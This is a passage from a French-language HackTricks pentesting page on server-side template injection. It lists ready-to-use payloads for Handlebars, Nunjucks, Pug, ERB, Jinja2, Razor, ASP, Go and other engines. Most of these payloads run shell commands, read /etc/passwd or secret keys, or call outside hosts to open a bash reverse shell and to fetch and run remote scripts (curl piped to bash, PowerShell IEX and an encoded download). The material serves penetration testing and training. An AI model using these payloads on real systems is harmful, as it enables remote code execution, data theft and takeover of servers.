%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Plus d'informations**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Modèle** | **Description** |
| ------------ | --------------------------------------- |
| | Évaluer et rendre le résultat |
| | Évaluer et rendre le résultat avec encodage HTML |
| | Commentaire |
| and | Permettre le code (désactivé par défaut) |
* \= 49
**Côté Client**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Côté Serveur**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Plus d'informations**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Exemple de rendu côté serveur**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Plus d'informations**
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49
* \{{foo\}} = Pas de sortie
* \#{7\*7} = \#{7\*7}
* \{{console.log(1)\}} = Erreur
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Plus d'informations**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
Consultez la page suivante pour apprendre des astuces sur **l'exécution de commandes arbitraires contournant les sandbox** en python :
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Erreur`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Plus d'informations**
### Jinja2 (Python)
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il prend entièrement en charge l'unicode, dispose d'un environnement d'exécution optionnel intégré et sécurisé, est largement utilisé et sous licence BSD.
* `{{7*7}} = Erreur`
* `${7*7} = ${7*7}`
* `{{foobar}} Rien`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `
`
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format de modèle**
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
{% endblock %}
{% endraw %}
```
[**Exécution de code à distance non dépendante de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Plus de détails sur comment exploiter Jinja** :
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
### Razor (.Net)
* `@(2+2) <= Succès`
* `@() <= Succès`
* `@("{{code}}") <= Succès`
* `@ <=Succès`
* `@{} <= ERREUR !`
* `@{ <= ERREUR !`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Plus d'informations**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Rien
* `<%= response.write(date()) %>` = \
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Plus d'informations**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
### Mojolicious (Perl)
Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```
<%= perl code %>
<% perl code %>
```
### SSTI en GO
Pour confirmer que le moteur de template utilisé en backend est Go, vous pouvez utiliser ces charges utiles :
* `{{ . }}` = structure de données passée en entrée au template
* Si les données passées sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots suivants "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
**Exploitation XSS**
Si le serveur **utilise le package text/template**, l'exploitation XSS est très facile à réaliser en **fournissant simplement** votre **charge utile** en entrée. Cependant, ce **n'est pas le cas avec html/template** car il encode en HTML la réponse : `{{""}}` --> `<script>alert(1)</script>`
Cependant, Go permet de **DÉFINIR** un **template** entier puis de **l'appeler plus tard**. La charge utile ressemblera à quelque chose comme :\
`{{define "T1"}}{{end}} {{template "T1"}}`
**Exploitation RCE**
La documentation pour le module html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation pour le module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur “call”**, ce qui n'est pas le cas avec html/template.
Si vous voulez trouver un RCE en Go via SSTI, vous devez savoir que comme vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Ainsi, imaginez que l'**objet passé a une méthode appelée System** qui exécute la commande donnée, vous pourriez en abuser avec : `{{ .System "ls" }}`\
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme cela ressemblerait à :
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Plus d'informations**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Plus d'exploits
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## Aide connexe
Si vous pensez que cela pourrait être utile, lisez :
* [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Fonctions magiques Python](broken-reference/)
## Outils
{% embed url="https://github.com/Hackmanit/TInjA" %}
{% embed url="https://github.com/vladko312/sstimap" %}
{% embed url="https://github.com/epinna/tplmap" %}
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
## Liste de détection de brute-force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Pratique & Références
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir la connaissance technique**, ce congrès est un point de rencontre incontournable pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) !
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).